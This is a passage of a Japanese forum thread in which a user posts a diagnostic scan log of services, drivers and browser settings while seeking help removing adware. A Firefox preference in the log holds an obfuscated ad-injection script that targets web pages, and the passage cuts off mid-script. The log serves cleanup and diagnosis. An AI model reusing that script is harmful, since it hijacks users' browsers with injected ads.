SRV:[b]64bit:[/b] - [2013/02/09 03:30:42 | 000,359,664 | ---- | M] (Logitech, Inc.) [On_Demand | Stopped] -- C:\Program Files\Common Files\LogiShrd\Bluetooth\LBTServ.exe -- (LBTServ)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:01 | 000,193,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appmgmts.dll -- (AppMgmt)
SRV - [2015/03/28 21:07:53 | 000,268,464 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2015/03/21 15:12:07 | 000,148,080 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2015/02/18 21:24:32 | 002,635,552 | ---- | M] (IObit) [Auto | Stopped] -- C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe -- (LiveUpdateSvc)
SRV - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Windows\SysWOW64\CtHdaSvc.exe -- (CtHdaSvc)
SRV - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe -- (Stereo Service)
SRV - [2014/04/11 23:08:08 | 000,103,608 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)
SRV - [2014/03/21 07:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2013/12/19 00:41:02 | 030,814,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- D:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE -- (Microsoft SharePoint Workspace Audit Service)
SRV - [2013/10/27 09:34:23 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe -- (Creative Audio Engine Licensing Service)
SRV - [2013/10/27 09:34:14 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe -- (Creative ALchemy AL6 Licensing Service)
SRV - [2013/05/31 16:23:36 | 000,652,640 | R--- | M] (cFos Software GmbH) [Auto | Running] -- D:\Program Files\ASRock\XFast LAN\spd.exe -- (cFosSpeedS)
SRV - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe -- (MBAMService)
SRV - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe -- (MBAMScheduler)
SRV - [2013/02/17 12:18:06 | 000,137,336 | ---- | M] (Futuremark Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe -- (Futuremark SystemInfo Service)
SRV - [2013/01/07 00:40:00 | 004,713,360 | ---- | M] (INCA Internet Co., Ltd.) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GameMon.des -- (npggsvc)
SRV - [2012/03/22 21:11:28 | 000,825,032 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe -- (CsrBtService)
SRV - [2012/03/22 21:11:16 | 001,041,616 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe -- (CsrBtOBEXService)
SRV - [2012/03/22 21:11:08 | 000,465,624 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe -- (CSRBtAudioService)
SRV - [2012/03/22 21:11:00 | 000,064,216 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe -- (BtSwitcherService)
SRV - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe -- (CTAudSvcService)
SRV - [2010/02/19 13:37:14 | 000,517,096 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe -- (SwitchBoard)


[color=#E56717]========== Driver Services (SafeList) ==========[/color]

DRV:[b]64bit:[/b] - [2014/12/31 08:54:48 | 000,585,944 | ---- | M] (Realtek Semiconductor Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\RtkBtfilter.sys -- (RtkBtFilter)
DRV:[b]64bit:[/b] - [2014/11/15 14:46:08 | 000,124,560 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\NisDrvWFP.sys -- (NisDrv)
DRV:[b]64bit:[/b] - [2014/07/28 14:52:00 | 000,054,784 | ---- | M] (Apple, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\usbaapl64.sys -- (USBAAPL64)
DRV:[b]64bit:[/b] - [2014/07/03 02:02:34 | 001,060,120 | ---- | M] (Creative Technology Ltd) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\cthda.sys -- (cthda)
DRV:[b]64bit:[/b] - [2014/05/02 09:17:59 | 000,032,320 | ---- | M] (FNet Co., Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\FNETTBOH_305.SYS -- (FNETTBOH_305)
DRV:[b]64bit:[/b] - [2014/05/02 09:10:50 | 000,016,648 | ---- | M] (FNet Co., Ltd.) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\FNETURPX.SYS -- (FNETURPX)
DRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 000,197,408 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvhda64v.sys -- (NVHDA)
DRV:[b]64bit:[/b] - [2013/10/02 11:22:20 | 000,056,832 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:[b]64bit:[/b] - [2013/09/04 14:07:06 | 002,056,192 | ---- | M] (Creative Technology Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ksaud.sys -- (ksaud)
DRV:[b]64bit:[/b] - [2013/07/25 16:53:46 | 000,023,040 | ---- | M] (Apple Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\netaapl64.sys -- (Netaapl)
DRV:[b]64bit:[/b] - [2013/05/31 16:23:40 | 001,814,880 | ---- | M] (cFos Software GmbH) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\cfosspeed6.sys -- (cFosSpeed)
DRV:[b]64bit:[/b] - [2013/04/04 14:50:32 | 000,025,928 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,079,240 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LEqdUsb.sys -- (LEqdUsb)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,077,192 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidFilt.Sys -- (LHidFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,061,832 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LMouFilt.Sys -- (LMouFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,015,752 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidEqd.sys -- (LHidEqd)
DRV:[b]64bit:[/b] - [2012/09/10 03:22:06 | 000,243,712 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\RtsUStor.sys -- (RSUSBSTOR)
DRV:[b]64bit:[/b] - [2012/08/23 23:10:20 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:[b]64bit:[/b] - [2012/08/21 13:01:20 | 000,033,240 | ---- | M] (GEAR Software Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\GEARAspiWDM.sys -- (GEARAspiWDM)
DRV:[b]64bit:[/b] - [2012/08/09 17:03:06 | 000,034,640 | ---- | M] (ASRock Inc.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\AsrRamDisk.sys -- (AsrRamDisk)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:30 | 000,026,072 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorF.sys -- (iaStorF)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:28 | 000,575,448 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorA.sys -- (iaStorA)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:36 | 000,023,752 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusbfilter.sys -- (csrusbfilter)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:34 | 000,047,296 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusb.sys -- (csrusb)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:32 | 000,061,128 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrserial.sys -- (csrserial)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:30 | 000,039,616 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrpan.sys -- (csrpan)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:26 | 000,038,080 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrhfgcc.sys -- (csrhfgcc)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:22 | 002,784,968 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBtPort.sys -- (CsrBtPort)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:20 | 000,099,520 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrbthav.sys -- (csr_bthav)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:18 | 000,039,120 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBthAudioHF.sys -- (CsrBthAudioHF)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:16 | 000,026,304 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csravrcp.sys -- (csravrcp)
DRV:[b]64bit:[/b] - [2012/03/01 15:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:[b]64bit:[/b] - [2011/12/26 21:37:42 | 000,090,608 | ---- | M] (CyberLink) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\CLVirtualDrive.sys -- (CLVirtualDrive)
DRV:[b]64bit:[/b] - [2011/11/07 10:13:06 | 000,017,192 | ---- | M] (Windows (R) Win 7 DDK provider) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\AsrAppCharger.sys -- (AsrAppCharger)
DRV:[b]64bit:[/b] - [2011/11/03 03:01:00 | 000,056,208 | ---- | M] (Rovi Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\PxHlpa64.sys -- (PxHlpa64)
DRV:[b]64bit:[/b] - [2011/09/22 09:49:56 | 000,056,600 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,405,064 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tixhci.sys -- (tixhci)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,131,656 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tihub3.sys -- (tihub3)
DRV:[b]64bit:[/b] - [2011/05/09 20:42:14 | 000,425,000 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\k57nd60a.sys -- (k57nd60a)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:[b]64bit:[/b] - [2011/01/26 17:11:06 | 000,023,048 | ---- | M] (ASRock Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\AsrVDrive.sys -- (AsrVDrive)
DRV:[b]64bit:[/b] - [2010/11/20 22:33:35 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:[b]64bit:[/b] - [2009/07/20 05:11:18 | 000,021,392 | ---- | M] (kasiwano masahiro) [Kernel | Auto | Stopped] -- C:\Windows\SysNative\drivers\uusbd64.sys -- (UUSBD64)
DRV:[b]64bit:[/b] - [2009/07/14 10:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:[b]64bit:[/b] - [2009/07/14 10:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:[b]64bit:[/b] - [2009/07/14 10:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a)
DRV:[b]64bit:[/b] - [2009/06/11 05:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir)
DRV:[b]64bit:[/b] - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mcdbus.sys -- (mcdbus)
DRV:[b]64bit:[/b] - [2009/02/19 15:07:50 | 000,058,752 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\Sknet_AS11Loader.sys -- (AS11Loader)
DRV:[b]64bit:[/b] - [2008/05/21 11:16:18 | 000,028,032 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SKNET_HDTV_IR.sys -- (SKNET_ISDB_P_HidIRKbd.Dev)
DRV - [2014/06/23 16:29:48 | 000,032,456 | ---- | M] (CyberLink Corp.) [2015/01/31 10:42:38] [Kernel | Auto | Running] -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\NavFilter\000.fcl -- ({C5F942FD-1110-4664-86CE-0C6BDA305235})
DRV - [2009/07/14 10:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount)
DRV - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysWOW64\drivers\mcdbus.sys -- (mcdbus)


[color=#E56717]========== Standard Registry (SafeList) ==========[/color]


[color=#E56717]========== Internet Explorer ==========[/color]

IE:[b]64bit:[/b] - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC

IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = Preserve
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://jp.msn.com/?ocid=iehp
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = ja
IE - HKCU\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKCU\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

[color=#E56717]========== FireFox ==========[/color]
  • mari
  • 2015/03/29 (Sun) 08:42:50
Re: salusの駆除をお助けください
続きです。

FF - prefs.js..browser.search.countryCode: "JP"
FF - prefs.js..browser.search.region: "JP"
FF - prefs.js..extensions.RsStUmkzSf0RE5Lx.scode: "(function(){try{if(window.self.location.href.indexOf(\"rjwGqdC4rjaHpdn6qHn5qHr9qja\")>-1){return;}}catch(e){}try{var d=[[\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.com\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/^websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info$/]];for(var i=0,a=d[0],l=a.length;i<l;i++){if(window.self.location.hostname.indexOf(a[i])>-1){return;}}for(var j=0,a=d[1],l=a.length;j<l;j++){if(a[j].test(window.self.location.hostname)){return;}}}catch(e){}try{(function(){var stngs = {attr_name:'s11247910384774873450',szy_domain:[\"bluedirectusa.info\",\"theprivilegesbox.com\"],ad_sizes:[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]],checkif:function(ifr){return (ifr.getAttribute('s11247910384774873450') || ifr.src.indexOf('=13872950')>-1||ifr.src.indexOf('=13872950')>-1||ifr.src.indexOf('1018-1005')>-1||ifr.src.indexOf('1019-1001')>-1||ifr.src.indexOf('2136&zid=')>-1&&ifr.src.indexOf('PT1312')>-1||(ifr.getAttribute('name') && ifr.getAttribute('id')==ifr.getAttribute('name') && ifr.getAttribute('name').match(/^ap\\d+$/)))}};if(\"undefined\"==typeof window.adzy653rk&&document.getElementsByTagName(\"body\").length&&!document.getElementsByTagName(\"body\")[0].getAttribute(\"jhjlijpomuhn_m\")){var removeNode=function(a){for(var b=(63,342)>(559,85)?(56,!0):(63,1401),c=(372,1)<(364,98)?(1098,!1):(971,40),d=829<(71,1335)?(1100,122):(918,478),e=12>(481,500)?267:586<(136,1243)?(339,90):(92,89),g=27<=(42,519)?(468,97):(69,283),h=137<(169,296)?(93,\"m\"):(96,984),f=136>=(37,599)?(92,301):(966,429)<=(369,537)?(213,64):(578,1008),l=307>=(1295,\n1355)?(809,\"L\"):69>=(158,391)?(669,117):141<(368,514)?(1490,6):(1113,116),n=(43,255)>=(223,250)?(468,63):(879,133),k=22>(199,868)?(1170,\"s\"):(917,799)>=(972,448)?(122,\"n\"):44>=(211,96)?(1080,71):(58,556),A=75>=(1239,49)?(21,\"9\"):27>=(501,441)?(59,48):(207,1058)<(454,90)?\";\":(122,914),K=414>=(295,137)?(109,\"8\"):(1165,557),v=874>=(78,39)?(77,\"7\"):116>(476,807)?(1499,989):(520,925),R=(953,33)>(639,132)?(434,\"z\"):149<(132,581)?(77,\"z\"):61>=(597,482)?126:(771,8),S=456<=(451,877)?(2,\"x\"):(52,18),F=326<\n(1197,1202)?(1274,\"i\"):(26,109),G=410>=(1290,732)?(485,25):52>(20,78)?1380:1102>=(49,51)?(294,\"b\"):(112,161),L=(146,387)>(818,87)?(534,\"Y\"):(1385,1004),T=52<(95,139)?(57,\"X\"):(840,124),U=123<=(105,50)?(142,\"'\"):1333>(11,318)?(108,\"T\"):(962,1482),M=(755,119)>=(49,128)?47:880<(473,103)?41:59>(183,40)?(272,\"Q\"):(125,73),V=533<(155,25)?1E3:55>(133,112)?(1416,429):(31,1188)>(72,497)?(502,\"N\"):(82,144),N=(491,93)>(39,1009)?(1047,\"aaa\"):325>=(249,9)?(83,\"M\"):(645,114),O=(91,94)>(16,53)?(484,\"K\"):(462,83)>=\n(3,103)?(114,90):146<(114,132)?\"O\":(145,53),P=259<(286,86)?209:142>=(303,8)?(189,\"D\"):88>=(24,287)?(40,191):(1406,186),W=102<=(476,402)?(132,4537426):(315,47),H=(97,23)<=(514,29)?(117,1290452675):(862,1417),B=117<(32,132)?(352,\"0\"):(78,430),r=110>(545,410)?(71,457):548>=(81,37)?(555,\"2\"):(96,999),w=82<(1007,1382)?(869,\"f\"):(86,207),D=131>=(471,71)?(208,\"s\"):(103,115),C=107>=(74,129)?(25,\"c\"):(20,532)<=(74,750)?(20,\"p\"):237>(31,498)?(446,133):(110,138),I=100<(31,83)?(54,129):(112,132)<=(75,408)?(49,\n\"U\"):(593,65),H=-H,E=s7S5.V7T,J=s7S5.j7T;-1139651341!==s7S5.E0.i0(J.toString(),J.toString().length,8698539J++)y.push(u(j)),S9(),E+=s7S5.V7T;if(s7S5.E0.i0(E.toString(),E.toString().length,W)!==H)return j2<<Y2;var Q={_keyStr:\"ABC\"+P+\"EFGHIJ\"+O+\"L\"+N+V+\"OP\"+M+\"RS\"+U+I+\"VW\"+T+L+\"Za\"+G+\"cd\"+s7S5.n7T+w+\"g\"+s7S5.s4T+F+\"jklmno\"+C+\"qrstuvw\"+S+\"y\"+R+B+\"123456\"+v+K+A+\"+/=\",encode:function(a){var 